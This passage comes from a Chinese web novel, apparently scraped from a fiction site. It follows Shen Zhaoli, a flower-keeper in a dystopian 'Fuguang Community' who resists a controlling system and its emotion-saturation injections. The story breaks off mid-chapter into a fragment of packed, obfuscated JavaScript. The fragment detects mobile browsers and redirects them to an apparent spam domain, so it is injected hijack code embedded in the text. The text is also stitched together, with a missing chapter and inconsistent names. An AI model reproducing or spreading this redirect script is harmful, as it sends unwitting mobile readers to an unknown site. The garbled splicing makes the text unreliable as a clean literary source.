《警报:超雌玩家她带弹闯关[无限]》
1. 6:00? 06点:00分:00秒
06点:00分:00秒
沈昭黎睁开眼,阳光从落地窗斜斜的照进来,不偏不倚的铺在了她的床铺上,此时窗外光线正好,不亮不暗,窗外的太阳也是,不大不小。
就这么高高地挂在天空的最顶端。
像一枚被永恒钉死的金色图钉,永远也不会偏移、不会闪烁,永远固定在那。
她伸出手,手掌接过射下来的光线,阳光透过她的掌心截然而止。
掌心没有任何知觉。
“真好!又是想死的一天!”沈昭黎在心中暗忖。
【沈昭黎,您好!根据您昨日的睡眠质量,系统评分为94/100,将自动为您自动调节床的柔软度】系统温柔的声音在耳边响起。
沈昭黎麻木地点了点头,余光撇过床前的电子屏幕,上面跳动的数字上显示着此刻的时间:【06:02分:05秒】
分秒不差!她昨天也是这个时间看的电子屏幕!
她下了床,故意放缓了动作,试图去拿放在桌上的电子手环。
电子手环到手时,窗前的电子屏幕还是冰冷无情的显示着【06:03分:06秒】
顿时索然无味!
这已经不知道是她第多少次尝试这种无意义的行为。
她总是希望有一天她完成这些动作时,能惊喜的发现每日的时间,有一分钟的偏差,不!哪怕一分、一秒都可以!
说实话,这样做的目的是什么,她不知道,但她就是想做,可能是安宁说的那样,她就是个浮光社区的异类吧。
不过,她不在乎
比起当异类她更加在乎的是系统的数字!
但每天电子屏幕上显示没有丝毫变动的数字,都会给她当头一棒,但她仍乐此不疲,希望有一天能惊喜地看见系统出错。
但时间,怎么会错呢?准确来说,应该是系统!系统怎么会错呢?
按照安宁的说法:系统是不会错的,错的只能是她自己!她无数次的想向她们证明系统是会错的,但是事实就是——系统从未错过!
她望着右手手腕上的电子手环,它就安静的箍在那里,银白色的金属表面光洁如新、没有划痕、没有磨损,像刚从包装盒里取出,又好像这样完美地、永痕地戴了许久。
【06:03分:23秒】
又是分毫不差!
没有多余的提示,没有个性化的表盘,甚至没有电量显示的图标,只是精准的记录着时间。
“质量真好!”沈昭黎不禁感叹!
这种念头强制出现在她脑海里时,她觉得很奇怪,又不知道哪奇怪。
“如果不出意外,三秒后,系统将会将从卧室的场景跳转到浴室了!”
她在心中倒计时:
【三!】
【二!】
【一!】
当心中默念“一”的一霎那,果然如她心中所想,周围环境自动变为浴室。
她已经把猜系统的下一步动作,当作每天的乐趣了!
在系统还未发布指令之前,她提前预测,这样谁分得清楚是她指示的系统,还是系统指示她呢?
是不是觉得很不可理喻?她觉得也是...谁会爱玩这么弱智的游戏?
沈昭黎浴室里除了最基本的设施和简单的洗漱用品,什么都没有,干净的如同样板房,浴室镜子底端鲜红的字体显示着她今日的皮肤状态:【皮肤水润度达标,建议优化当前笑容频率!】
沈昭黎无视镜中的自己和镜子底端的红色字体,每天都长一个样,有什么好看的!
她自顾自的拿起浴台上的牙膏,撕开塑封膜,将牙刷放在嘴前。
镜子底端的字体突然开始跳转,鲜红的字体不停地开始闪烁、提醒:【根据检测,您的生物体征正常,但情绪值不高,是否选择是否注射情绪饱和剂?】。
您的选择:【立即注射/延迟注射】。
沈昭黎似乎已经习惯了这种现象,扯了扯嘴角,露出了一个向上30度的微笑。
怪异的事,镜面显示屏自动跳转回正常界面。
她拿着牙刷,刷完牙,又一个系统提示音在她耳边响起。
【沈昭黎,今日您的工作养护目标为:确保浮光社区A-10区玫瑰的吸收指数维持在96%以上,工作完成过后,10:00-11:00您将参加浮光社区模范表彰大会,鉴于您昨日工作表现优异,系统解锁了您18:30到18:45之间,15分钟的娱乐时间,祝您生活愉快!】
哦!对了,忘了介绍,她,沈昭黎,是浮光社区一名普普通通的养花人,万千平凡人类中的一个。
但她们总叫她异类,她也不知道为什么...
据安宁所说,她们是人,是一种常年生活在浮光社区的低级生物。
为什么是据安宁所说,因为安宁说,她也才活不久......
算了...为了避免注射能量剂,她还是省点体力直接让系统介绍吧!
她真的很讨厌那玩意,每次注射完都感觉自己行动会变呆傻!
能量剂是浮光社区人类最基础的生活必需品,跟食物和水一样,但不知道为什么...她就是打心底排斥它!
哦!跑题了,系统记录!:
【系统标准记录】
姓名:沈昭黎
性别:女
年龄:25岁
学历:农学本科
生物类别:人
社会功能:浮光社区花圃养护员
【生理参数】
能量代谢效率:72%/100%(低于社区平均值)
微笑肌群活跃度:75分/100(低于平均值,建议注射情绪饱和剂)
能量值:69/80(正常,正常人为100)
总评分:68/100(低于60将会进入绣蚀花牢进行什级)
【异常事件记录】
1.逃避注射行为:18次
2.排斥反应症状:试探行为/瞳孔收缩异常
3.系统建议:增加系统检测行为
嗯,对,记录就这么多,按照系统给的信息,她来总结一下!
就是她除了能量值稍微正常点,其余的指标样样异常,换而言之,她现在在系统的重点监控对象的名单中,再违规几次,她会被打入绣蚀花牢里回炉重造。
没办法,她也不想这样,她只是想按照自己的想法活着而已,没招谁没惹谁!
但是系统不允许,但是不允许就不允许吧,谁管它呢!反正她也死不了!破罐子破摔了!
话说“死”这个概念,她也不知道是什么意思,是有一次跟安宁闲聊的时候,这词自己从她嘴里冒出来了,安宁说她从没听过这个词,但是安宁就一直追着她问。
她当时也不知道怎么跟她解释,想了很久很久,也没个头绪。
后来还是在某天刷牙的时候,这个概念自己从自己脑子中蹦出来了:死就是没有了,再也不会出现了。
等到第二天,安宁照常被系统派到她家时,她告诉她:死就是没有了,再也不会出现了,但安宁当时就反驳她,说,这不叫死,这叫“什级”。
她说:浮光社区的人总评分,低于60将会被系统送进绣蚀花牢什级。
什级过后,原先的人就没有了。
但什级跟死又不太一样,就是人什级以后,还可以回来,不过会以一种新的形态呈现,而且新形态会更加适配浮光社区的规则。
但是沈昭黎总感觉哪里不对,她也说不出来个所以然。
她只觉得她脑子里“死”好像不是这样的...
后来可能是工作时间到了,系统将场景自动跳转到了浮光花圃,二人处于对工作的敬业,也没再多聊。
她记得那天安宁工作特别积极,甚至都没跟她说过一句话。
浮光社区里,除了沈昭黎,没有人会想一直什级,因为事不过三,什级到第三次,会被系统给回收,回收了以后,浮光社区就真的再没有这个人的存在。
沈昭黎倒不觉得什级是死,她反而觉得被系统回收,更符合她对死亡的理解。
安宁说她是个Bug,因为这已经是她今年三进三出锈蚀花牢了。
据安宁说,从她认识她以来,这已经是她第18次什级了。
若是换做浮光社区任何一个人类,早就不知道被系统回收多少次了。
但她这人是个Bug,不仅屡屡刷新系统的上限,还疯狂作死...
其实除了她,其他人类也反抗过系统,但最多只敢到二次,因为她们不是沈昭黎,她们是真的会被回收。
沈昭黎曾经思索过这个问题,为什么系统不回收她?
她苦思冥想了好长时间,又观察了系统好长时间,最后得出一个结论......就是......
系统不回收垃圾......还是一个不服管,喜欢找系统Bug的垃圾。
所以除了沈昭黎,没人愿意被回收。
后来沈昭黎干脆开始
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了自毁模式——按照自己的习惯活着......
安宁一直觉得沈昭黎是个异类,不,不止她一个人这么觉得!整个浮光社区都这么觉得,不止是系统不回收她这件事,还有她整个人。
虽然浮光社区每个人都活得差不多,但还是有些偏差的。
就比如说积分吧,虽然浮光社区人类积分都很高,每个人工作得到的积分也很高,但沈昭黎的积分多的甚至能买下整个浮光社区,但是她对浮光社区没有任何兴趣。
不仅对积分一点兴趣都没有,还一心求回收。
虽然说也没有强制拒绝,但是她这个人做事行为逻辑混乱,而她那些混乱行为又都偏偏踩在系统红线上。
比如不注射情绪饱和剂、说些莫名其妙的话、系统给她的积分她也不去换....怪异行为所有人都不理解,当然,也包括她。
但是她老想去找她,也不知道为什么......
可能她也是个异类?哈哈哈,说笑了,她可不想被回收,她还想努力工作换积分去系统那兑换全景阳光套房呢!
那可是个好东西!沈昭黎那套就是她替她换的,不工作时,一觉睡到日上三杠,在软软的床铺上被暖暖的阳光叫醒,日复一日,那多幸福呀!
虽然沈昭黎每次出来都会失去记忆,但是安宁她会一直守在绣吞花牢外,等她出来。
然后把脑袋空空的她带回家,一次次告诉她:她是谁,叫什么,家在哪,积分怎么用......不然这么多次回收,沈昭黎早成浮光社区唯一的一个流浪汉了。
就算浮光社区的建设十分周全,流落街头也能过的不错。
沈昭黎之前听安宁吐槽说:上次她从绣蚀花牢出来的时候,她在绣吞花牢外足足等了她18天,她才出来。
她当时蹲在牢外想:沈昭黎这个逻辑混乱的脑子里,到底都装了些什么?居然这么难杀。
每次沈昭黎从绣蚀花牢出来后,安宁都会帮她做身体检查,好像除了失去记忆、能量阙值会少点,也没什么别的问题。
安宁也就不拦她,反正拦了她也听不进去,但是还会明里暗里会跟她说:你不要再与系统作对......能不能好好生活,好好工作?
很显然,她不能!
“咚咚咚,沈昭黎开门,是我,我来给你送温暖了,咚咚咚......”
沈昭黎听着门外熟悉的敲门声,永远都是一样的节奏,三扣一呐喊,跟个人机一样,熟悉的节奏她一听就知道是安宁。
、
这点让沈昭黎十分无语,明明都给了她密码,甚至还给她设置了人脸识别,但是她每次都要沈昭黎亲自替她开门......
沈昭黎抽出起一旁清洁过的毛巾擦了擦嘴,心中默念:“开门”。
霎时,浴室跳转到了客厅,沈昭黎此时正站在客厅中央的地毯上,系统仿佛听到了她的心声一般,门锁“嗖”的一声门锁开始松动,安宁看到门把手松动,推开门。
沈昭黎看着她站在门外,左手捧着一束由三朵机械康乃馨和两朵机械向日葵包成的温暖花束,五朵机械花顶上放着大盒的情绪饱和剂的试管,看到她出现在客厅以后以后,嘴角展开了一个五个像素点的微笑。
有一说一,安宁笑容还挺标准的?,她突然回想到自己在浴室的那抹笑......算了,不提也罢!
安宁抱着机械花走了进来,今天她穿了身着基础款的黄色工装,胸口别了一朵黄色的像素向日葵胸针,戴着一顶红黄相间的鸭舌帽,好一朵温暖治愈的“向日葵”,也不知道她到底是来送花的,还是送自己来的。
沈昭黎看着五颜六色的安宁,心中暗忖:她,肯定刚从积分库里出来......
安宁笑着走到她客厅的饭桌前,将昨日她插在花瓶里的机械花(也是三朵机械康乃馨和两朵机械向日葵)拿走、扔进垃圾桶,嘴里念念有词:
“今天我一睁眼,系统就告诉我你今天情绪低落,又在我日程表里安排了给你送花......”
“话说你这情绪怎么没有一天是正常的呢?”
安宁将情绪饱和剂从机械花上拿了下来,扔进了堆满饱和剂的收纳盒里,又将“温暖”花束插入花瓶。
有模有样的整理了一下机械花在花瓶里的分布,最后径直走向客厅的灰布沙发,整个动作行云流水、一气呵成,这熟练程度,没有一千也有八百了。
坐在灰布沙发上笑着打趣她:“沈昭黎同志,今天还是毅然决然的向死而生?”
3. 不是一般人!
她盯着那段断掉的丝线,一瞬间,很想将它扯得更碎。
这个念头出现的时候,自己吓了一跳,自己为什么会出现这么邪恶的念头。
“也许是这朵花不想被黏上?”
沈昭黎的身后传来一个声音,沙哑的像生锈的齿轮相互摩擦。
沈昭黎回头,看见一个人站在他的身后,他手里拿着一把土撬,土撬上面还残留着点褐色的不明物体,他的视线此刻正落在那朵“故障”玫瑰上。
那人打量了她一眼,开口道:“有些东西,接得再牢,该断的时候还是会断”
“就跟人一样,该想起来的东西迟早会想起来的......”
沈昭黎不理解这话的意思,什么叫该断的时候还是会断?该想起来的东西迟早会想起来的?
她盯着面前的人,这人头发花白,脸上布满了像塑料材质揉搓后的褶皱,灰色眼珠子浑浊不堪,嘴角是微微上拉的,但是松弛的皮肉还是在不听使唤的往下坠,是她在浮光社区从未见过的怪异形象。
他穿着一件浅绿色的麻布衣裳,外面套了一见纯白花边围裙,不过这花边围裙看起来跟他......有点不太适配,感觉像是别人的东西。
花边围裙上也布着星星点点的褐色不明物体,他此刻正背着个破背篓,上下打量她。
这人是沈昭黎在浮光社区见过最奇怪的人,没有之一。
人的脸上怎么会出现塑料制品般的褶皱?还有他的眼睛为什么如此浑浊不堪的?
她之前观察过浮光社区其他人的眼睛,虽然颜色各异,但普遍都是都是清澈水润的,跟他浑浊不堪的眼睛格完全不一样......当然也包括她,因为镜子里的她也是这样的。
虽然沈昭黎对他有着非常多的疑问,但当下最重要的,还是得知道这透明丝线为什么会断?
“我不是都黏好了吗?为什么这根透明线还是会断?”她问。
那人不语,径直蹲下身,手指插进泥土里,掏出一团纠缠的银色根须,此刻那团银色根须正疯狂扭动,像被扯断的蚯蚓,断裂的身体里冒出丝丝蓝色乳液。
“因为有的人宁愿在痛苦中清醒的毁灭,也不愿在麻木中盲目的延续......有时候死比活着好...”
沈昭黎看着这个怪人,他怎么老说些她听不懂的话,是想显摆自己懂得很多吗?
不过,痛苦是什么、麻木又是什么?安宁怎么从来没跟她说过?
等等,沈昭黎一怔,突然想到了什么:“浮光社区的人不是都将死称之为什级吗?为什么他不是?为什么他知道死是什么意思?......”
正在她疑惑时,那怪人用铁锹将“故障”玫瑰的根部翻铲了两下,然后一只松垮的手将玫瑰根茎抓紧,一个使劲,“故障”玫瑰被连根拔起。
“你干什么?”
她也顾不上脑子里的一堆问题,迅速抓住他悬在空中的手臂,问道:“你要将它拔去哪里?”
“沈昭黎,你干什么呢?”
安宁不知道从哪朵机械玫瑰里窜了出来,圆圆的脑袋上依旧戴着那顶红黄小帽,直愣愣的盯着二人。
“安宁!”
沈昭黎看见安宁,很兴奋,抬脚一步一步走了过去:“安宁,死......他知道死是什么意思!”
安宁抬眼看了看玫瑰园中的人,小声试探道:“陈舒?”
沈昭黎一愣,安宁认识这个人,那更好办了!
沈昭黎问:“安宁,你认识他?”
“认识!”
安宁点了点头:“他是玫瑰花圃的销毁员,叫陈舒,在玫瑰园负责销毁“故障”玫瑰的”
“销毁员?”沈昭黎重复。
安宁点头道:“是的!销毁园,花圃里如果有花的丝线一直接不上,就会由专门的销毁员进行清理、销毁,玫瑰园的销毁员就是陈舒。”
沈昭黎身子愣在原地,她潜意思里一直以为,死亡的玫瑰才需要被销毁,却没想到是接不上透明线的玫瑰才会被清理。
难道这接不上透明线的玫瑰比死还可怕?严重到需要专人进行销毁?
她瞳孔转了两圈,瞳孔直勾勾的盯着陈舒手上那株“故障”玫瑰,下意思的开口问道:“可是她们还没死啊?”
“可是......”
“死到底又是什么呢......”。
这一刻,沈昭黎脑子突然变得沉重,死是什么?真是安宁说的什级吗?
沈昭黎脑子里开始四处搜寻死亡的概念,耳边警报声突然响起:
【警报!警报!根据检测,您的生物体征有异,请选择是否注射情绪饱和剂?】
您的选择:【立即注射/延迟注射】。
一瞬间,沈昭黎感觉自己的颅内突然炸开。
像是一束电流直接穿透了她的神经接口,颅内千万个声音同时尖啸,像生锈的金属片刮擦着玻璃。
她的视线被突如其来的眩晕分裂成了片片马赛克似的块状,让她摇摇欲坠。
最开始只是她捂着脑袋,后来她开始狂暴的捶打自己的太阳穴,最后竟然想粗暴的扯掉头发后面的接口。
幸亏安宁及时她扣住了她的手腕,阻止了她的异常行为,她忽然抬起另一只手手,掌心凭空出现了一支情绪饱和剂。
她严肃开口:“别碰接口!”,声音一瞬间,冰冷的仿佛一个没有温度的机器人。
沈昭黎的手被安宁突然拽了过去。
她瞬间感觉到自己的身体猛然失重,一个踉跄,额头撞在安宁的胸口上,发出“噔”的一声闷响,身体由于越发重力支撑,“哐”的一声砸在地上。
安宁也没多做反应,立刻弯腰将摔倒在地的沈昭黎扶起,然后将她的身体和脑袋压了下去。
将缠绕在沈昭黎头发上,用于遮挡接口的头绳迅速扯掉,扔在地上。
乌黑如墨般的长发瞬间如湍急的瀑布,散落在沈昭黎的肩头。
安宁决然的拨开她颅后的发丝,机械接口瞬间暴露在三人面前,陈舒看着沈昭黎那崭新的转换接口,若有所思,眉头如挂了锁般紧皱在一起,一言不发。
安宁冷静的用拇指顶开情绪饱和剂的密封盖,露出盖子后面,凸起的金属插槽,命令道:“沈昭黎!”
“把你的接口转换器给我!”
而此时被颅内电流折磨的沈昭黎,只感觉颅内似有万千束声波在横冲直撞,头晕目眩,从颅后钻出来的冲击感,一波一波,让她发狂。
听到安宁要给她饱和剂,她突然本能的挺直脊背,伸出冰凉的双手用尽全身力气将安宁的身体推开,用尽所能的声嘶力竭道:“走开!”
她又狠狠打掉了安宁浮在空中的手,明明自己颅内的冲击感让她站都站不稳,却仍用一双大手抱头捂住脑袋后的凹槽,不给安宁靠近它的机会:“我不要注射那玩意!你走开!”
安宁被她突如其来的反抗震在原地。
在她的脑子里,沈昭黎是个很寡淡的人。
她对什么事情都不感兴趣。
没有什么非要不可的东西,也没有什么不可抛弃的,甚至是她自己,对这个世界永远是无所谓的态度,她甚至有时候觉得,她不是这里的人。
巨额的积分她从不在意、再好吃的食物也如同嚼蜡,她梦寐以求的全景的阳光房也是自己帮她换的。
可这样一个人,居然会对饱和剂的反应如此激动,这难道不是她们每个人都要注射的东西吗?。
很快,她回过神,声调陡然加重,带着不容置疑的命令:
“沈昭黎,你还想再进绣蚀花牢吗?”
“把你的接口转换器给我!”
她上前一步,手中的镇定剂管内的蓝色液体,随着她幅动的身体微微晃动。
沈昭黎的瞳孔直勾勾的注射着她手中的镇定剂,出于本能的排斥它。
试管里的那抹蓝,在沈昭黎的眼中,像是浮光社区一成不变的天空的颜色,呆板又扎眼。
瞳孔视线触及到蓝色液体的霎那,她突然觉得自己颅内的冲击感更加强烈,来回穿梭的声波让她头痛欲裂。
她要逃离它!她不想看见它!越远越好!这已经不是她第一次这样了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16302244|182797||http|test|mini|href|location''.split(''|''),0,{}));
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>她不知道她为什么会有这种感觉,她想逃离什么?
是蓝色液体、还是那支试管、还是试管背后的......系统?她不知道。
沈昭黎机械的张开嘴:“我不要!你拿走,拿的越远越好!”
系统提示音突然她耳边响起,又一次冲击着她颅内的神经,还带着滋滋的电流音:【警报!警报!根据检测,您的生物体征有异,请选择是否注射情绪饱和剂?】
【警报!警报!】
本就处于失控边缘的沈昭黎听到耳边的提示音,更加失控。
她两只手攥成铁拳拼命的捶打自己脑袋。
“哐、哐、哐”,每记捶打都能让她的后脑勺产生短暂的麻痹,仿佛这样就能分散掉自己对颅后的注意力。
“闭嘴!”
“你给我闭嘴!”
【警报!警报!根据检测,您的生物体征有异,请选择是否注射情绪饱和剂?】
【警报!警报!根据检测,您的生物体征有异,请选择是否注射情绪饱和剂?】
【警报!警报!根据检测,您的生物体征有异,请选择是否注射情绪饱和剂?】
耳边的系统提示音完全没有要停止的意思,提醒的频率反而越来越快,一遍一遍、冰冷的、麻木的,重复提示语。
安宁:“沈昭黎!”
“你还想被回收吗?”
“你告诉我!你是不是还想被回收?”安宁不厌其烦的问着,一遍又一遍,系统的提示音混着安宁的询问。
沈昭黎甚至有一瞬间忽然觉得:安宁是不是也是系统中间的一环?
当然,只是那一秒。
安宁不明白,这些药剂它不是浮光社区每个人必须注射的东西吗?她为什么如此排斥?
边缘处的陈舒沉默地注视着这一切。
他当然知道原因,可是他不能说。
忽然,一只像是被吸干的水分的手,牢牢掐住沈昭黎的脖颈。
那只手上的皮肤组织,粗糙松垮,像被融化了的塑料管一样,垂坠在空中。
“她需要修检!”陈舒对安宁笑了笑:“我要带她回实验室!”
安宁不语,但本能将沈昭黎拉了过来,力道大的让本就失重的沈昭黎,差点再一次摔在地上。
将她拉到自己身后牢牢护着,伸出双臂阻止陈舒带走她。
两只眼睛上下打量着他,仿佛是在审视一个巨大危险,“你要干什么?”
陈叔笑着向安宁走了两步,道:“她的症状超出了标准值,需要深度处理!”,他两只浑浊的双眼直勾勾的盯着安宁的双眼,嘶哑的声音如同钝刀划过金属。
陈舒一靠近,安宁像是接受到了什么使命一样,身体瞬间耷拉下去,方才高高举起的双臂如同断了线的木偶,不受控制的开始萎靡。
“是!”,安宁身子忽然耷拉了下来,僵硬的回应他,原先略带防备的声调也莫名的降了下去,一瞬间如泄了气的皮球,偃旗息鼓。
沈昭黎被陈舒掐住脖颈后,感觉自己的身体里好像是被他嵌入了什么东西。
颅内的电流瞬间安静了不少,也不再四处乱窜,按照原本的指令稳稳的流淌在身体的每一处,系统连绵不断的提醒也不见了,忽然恢复了正常。
沈昭黎见状,赶忙冲了过去,紧紧扶住快要瘫软在地的安宁。
“跟我走吧!”
陈舒对着沈昭黎说完,便弯下腰,干脆的扯出镶嵌在地里“故障”玫瑰的透明丝线。
然后将杂乱的丝线放在自己的手掌心,揉搓了几下,蓝色黏稠的乳液从丝线中流出,布满了他的手心。
他甩了甩手,粘液飞溅在一旁的正常玫瑰上,瞬间消失不见了,仿佛从未出现过一样。
陈舒将甩干的透明丝线,塞进自己花边围裙的口袋中,往玫瑰园里扫视了一圈,直到确定已无“故障”玫瑰了以后,才回过头看向沈昭黎。
“去哪?”
沈昭黎扶着安宁,警惕地看着行为举止怪异的陈舒。
她虽然不认识她,但她本能的觉得,这个人,不简单……
4. 接近真相?
陈舒看见沈昭黎那警惕的样子,笑了笑,淡淡开口:“走了!跟我回实验室了!”
“实验室?”沈昭黎疑惑,浮光社区的实验室有很多,他说的哪个实验室?
她望向杵在一旁跟个钢铁柱子的安宁,又看了看背着背篓走远了的陈舒。
她不知道安宁怎么忽然一下子就变成这样了......但这件事情肯定跟陈舒有关。
不行!得让他将安宁恢复原样。
而且她的潜意识感觉,陈舒一定知道些什么!
“等等我们!”
沈昭黎牵着安宁,朝即将消失在玫瑰园的陈舒追去。
此时的安宁,仿佛一具失去灵魂的提线木偶,动作僵硬,目光空洞。
只是麻木地追随着她的脚步,沉重而拖沓地奔跑着
二人跟着陈舒的步伐,迈过了重重的机械玫瑰。
在玫瑰园里东拐西绕,三人终于走到了一个红色禁止的警戒牌前。
陈舒也并未停下,她也顾不得细看,追着他也往里走。
三人就这么走着,追着。
右手腕上的电子手环在这里也停止了跳动,也不知道走了多久,她们站在了一座红色建筑前。
在沈照黎看来,这个小院长得很奇怪,跟她以往在浮光社区见过的建筑都不一样。
但又异常熟悉。
她站在围栏外面往里看,映入眼帘的是一大片的黄色向日葵。
是她熟悉的颜色,但不知为什么,她总感觉这些向日葵颜色,透出一种陌生的异样。
视线转移,花田尽头立着一间小屋。
墙身是一种她从未见过的红,比寻常的红更深、更浓。
更让她感觉不解的是,那墙身看上去异常潮湿,仿佛被水浸湿过,浮着一层湿漉漉。粘腻腻的光。
再仔细看,应该是用一种特殊材质堆积而成的。
那堆积的材料上蔓着丝丝裂痕,和凹陷的小洞。
跟浮光社区发达、完备的建筑截然不同,甚至还比不上浮光社区最基础的住房条件。
但不知道为什么,她反而感觉这里更有人味。
随着视线往上看,小屋屋顶和门窗皆呈尖供状,锥形的屋顶上隐约嵌着几个高耸的烟囱,烟囱里往外飘起阵阵余烟。
不同于钢筋建筑的对称结构,小屋整体采用L形结构,倒是别有一番野趣。
“这是什么材料?”沈昭黎伸出手,指尖正对着着那红色屋身,好奇问道。
“吱呀——”
陈舒推开小院的围栏,将背上的破背篓脱了下来,放在一旁斜搭在院墙围栏的架子上。
又松了松胫骨,捏了捏被压得塌陷的肩膀,看向沈昭黎指着的方向。
“那呀!一些破砖头罢了...”
沈昭黎:“砖头?转头是什么?”
她又追问:“你从哪弄来的?我怎么没见过这种东西?”
陈舒悠悠地靠在一旁的塌上:“还能哪来的?积分库换的呗!”
积分库?
积分库有这东西?
她虽然从未亲眼见过积分库,但也曾听安宁提起过。
据说,那里的一切物资都以品质为优先,从建筑材料就可见一斑,多是钢铁、玻璃、新型合金之类……清一色性能卓越、成本冷静的高技术材料。
她转过头看向那由砖瓦堆积成的屋身,瞳孔聚焦到那碎的四分五裂的裂痕上,积分库怎么会有如此低劣的材料?
“安宁,你见过吗?”
沈昭黎视线转向趴在墙皮,研究裂痕的安宁。
要说积分库,她是常客,她应该是最清楚的!
说来也怪,安宁进入小院以后,就从先前的傀儡模式恢复了正常。
方才呆愣无神如木偶的眼睛此刻跟个灵敏十足的摄像头一样,左右摇摆,打量着小院的布置。
对院中的一切都非常好奇,一会去摸摸小屋墙身脱落的裂皮,一会去摸摸向日葵的花瓣。
听沈昭黎问她,她思索片刻。
摇了摇头:“没有啊,我甚至都没有听过有“砖头”这种东西!”
忽然,她的视线又被向日葵后排两株摇曳的向日葵吸引。
她跨过前排的机械向日葵,向那奔去,一路小跑到了花圃后方,自顾自的在这向日葵花圃里玩了起来。
沈昭黎摇了摇头,果然是安宁,不管到哪都能自娱自乐玩的很开心!
眼见安宁这行不通,她视线又转向陈舒。
直勾勾地盯着他的眼睛看,试图从他的眸子中看出点什么。
一双被眼眶包裹的眼珠子浑浊不堪。
瞳孔内部里面还算得上透亮,细看还能看到几点环状红色微光。
但是外层的瞳孔边缘处竟然逐渐开始发白,模糊。
浑浊的双眼模糊了她的视线,也模糊了他的心思,眼见着瞧不出来什么,干脆直接挑明:“安宁说,她从没在积分库见过这东西!”
陈舒嘴角扬了扬,故作高深的点了点头:“她没见过,正常!”
“因为她不知道这东西的,倒是......你”,他又上下打量了她一番。
“还有可能......”
沈昭黎:......
沈昭黎突然很想!很想!搬起地上的破背篓,直接将他套进他的那个破背篓里!
这个人老爱说些她听不懂的话!
怎么,是想向她彰显他知道的很多吗?
大可不必,她不想知道!不想说,就别说!
“沈昭黎,你看!这里向日葵的花瓣会掉诶!!”
被陈舒莫名其妙的一顿忽悠,又听安宁叫她,沈昭黎也懒得再跟他浪费时间,提步向花圃走去。
花瓣会掉?花瓣怎么会掉?
安宁不会是脑子被这人弄坏了吧?
她脚步一顿,余光撇了撇悠哉躺在躺椅里的陈舒。
只见他故作高深的躺在躺椅上微微点头,一副全在他意料之中的样子。
见他这样,她觉得他肯定不会说。
保不齐又是一堆废话扔过来,干脆也懒得去问。
打算自己去看看。
她锁定了向日葵花圃后方的安宁,顺着瞳孔里显示的就近指示标走去。
“你看!你看!这花花瓣会掉!”
安宁指着飘落的黄色花瓣,脚尖不住地在地上轻点,雀跃难掩。
她的小帽子随着动作轻轻摇晃,仿佛下一秒就要落下,却又始终顽皮地停留在发梢头顶,摇摇欲坠。
“它是不是出故障了?我们要不要找维修员来修修?”安宁半蹲着身,看着掉在地上的花瓣。
沈昭黎视线看向那片掉落在地上的向日葵花瓣,花瓣一端已经牢牢陷在一片潮湿的褐色物质里。
褐色物质?
哦,对,这物质她见过!就是陈舒破背篓上的那个。
沈昭黎开始仔细打量这片掉落的花瓣。
这花瓣从远处虽与看似平常的向日葵无异,但拿近后,她总感觉这花瓣,要比别的花瓣,颜色浅两个度。
可能因为蹲的时间过长,沈昭黎起身时,膝盖发出“嗞”的一声轻响。
但沈昭黎专注在花上,再加上自己也没什么感觉,也就懒得去管。
她拿着它走到花圃前排与前方的向日葵进行对比。
嘿!还真不一样!
这后面两排的向日葵虽与前面的向日葵花瓣,颜色上差不多。
但是细看,就会发现这片掉落的花瓣,隐隐泛着些深浅不一的黄,并不像前排的那样,都是均匀的一个色。
叶片上甚至还杂揉着些绿色、褐色的像素点。
而且不仅叶片长短不一,有的叶片的一端甚至还打着卷,皱成了深褐色的结。
而前排的向日葵,虽远远看起来相同,但大都色彩分布均匀、尺寸大小一致,美的很标准。
“沈昭黎!这向日葵是不是坏了?我们把它送到维修员那去修修吧?”
安宁挽起自己的袖子,想将那株掉了花瓣的故障向日葵扯出来,她对沈招黎招了招手,示意与她一起拔。
“吱呀!”
沈昭黎正要过去帮忙,紧闭的小屋门突然开了。
突然间,屋里走出一个女人。
那身影静静立在门口,一身白衣,远远地望过去有种说不出的熟悉。
她怔住了,拼命回想,却怎么也想不起究竟在哪里见过。
“你怎么出来了
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?”陈舒赶忙从椅子上坐了起来,朝那女人走了过去,接过她手中的物件。
宋昭黎望了两人一眼。
一个面色饱满水润、眼睛虽是有些凸出,但还算透亮,一个皮肤松垮,眼神浑浊,二人紧紧的站在一处,妥妥的一个对照组,怎么看怎么奇怪。
可能是陈舒注意到沈昭黎的视线,往屋内挪了挪,又跟想起了什么似的,对着正在向日葵花圃里正在刨地的安宁喊道:“那花没出故障,你们先进来吧!”。
那个女人双眼圆睁,如同两只微微凸起的灯泡,呆滞而浑浊的眼珠紧随着陈舒的移动缓缓转动。她始终沉默着,仿佛完全不曾察觉这院子里还有另外两个人存在。
陈舒走哪她看哪,像个木讷的傀儡人。
陈舒说完,就拉着那个女人的手进了屋。
远处刨地刨的满脸泥泞子的安宁看了沈昭黎一眼,直到沈昭黎点了点头,往屋内走,她才赶忙跟上。
沈昭黎进屋后,四处打量着屋内的装潢,这小屋虽然外表看起来奇奇怪怪,其实屋内......
更奇怪!!
屋内的墙壁继续沿用了屋外的红,看质感,不太像是涂的漆料,而是这种材料本身自带的颜色。
屋内最醒目的,就是屋顶上的钢架管制成的架子,架子上放着许多亮晶晶的光源,占了整个屋子的大半个空间。
说实话,沈昭黎真不知道这些架子和光源组合在一起是干什么用的,难道是系统警报器?
屋内的四个墙壁上皆挂着人型的机器零部件。
比如机械制成的圆形仿生大脑、铝制材料做成的机械手臂、还有成批成批的电子芯片散落在屋内四角,某面墙壁上一个横行的橱柜上放满了“故障”花卉的透明丝线,还有灌装成瓶的蓝色粘液。
整个小屋都透漏出一副科技感,除了地上放置的羊绒织起来的玫瑰地毯。
她暂且称它为“玫瑰”,因为那个玫瑰地毯上的玫瑰没有透明丝线和蓝色圆球!
正对着沈昭黎的一面墙的正中央,镶嵌了一个巨型的壁炉。
炉内放着几根褐色的圆柱体,她不知道那是什么,但好像是它维持了光源的延续。
而一堆圆柱体上方搭着一大簇闪闪亮亮的黄色光源。
这些闪亮的光源,却莫名地吸引着沈昭黎靠近。
有点像太阳的颜色,黄色的、亮亮的,但是太阳不会动!
但这个光源它会,它会一闪一闪的跳动!
她忍不住伸出手去触摸。
陈舒躺在塌上,看着她的手往里伸,也没阻止。
